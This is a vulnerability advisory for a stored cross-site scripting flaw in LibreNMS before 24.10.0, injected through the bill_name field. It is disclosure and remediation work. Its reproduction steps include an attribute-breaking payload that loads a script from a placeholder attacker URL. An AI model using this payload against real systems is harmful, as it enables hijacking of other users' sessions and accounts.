Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the “Manage User Access” page of the @LibreNMS/LibreNMS project allows authenticated users to inject arbitrary JavaScript through the bill_name parameter when creating a new bill. The injected script executes in the Bill Access dropdown on the Manage Access page, enabling remote code execution within another user’s session.
Product
This vulnerability affects LibreNMS versions prior to 24.10.0 in librenms/includes/html/pages/edituser.inc.php.
Impact
This vulnerability can lead to the execution of malicious code in the context of other users’ sessions, potentially compromising their accounts and allowing unauthorized actions.
Steps to reproduce
-
Log into the LibreNMS web interface.
-
Create a new bill and enter the following payload as the Bill Name:
test1'"><script src=//<attacker-url>> -
Save the bill.
-
Navigate to the Manage Access page for a user.
-
Observe that the external script hosted at
//<attacker-url>is loaded and executed in the Bill Access dropdown.
Expected result:
The external script from //<attacker-url> executes in the Bill Access dropdown, demonstrating arbitrary JavaScript execution in the victim’s session.
Remediation
Fixed in LibreNMS 24.10.0 by applying htmlentities() to bill_name in edituser.inc.php, ensuring the value is HTML-encoded before rendering.
Credit
This issue was discovered and reported by Checkmarx Security Researcher Raphael Silva.
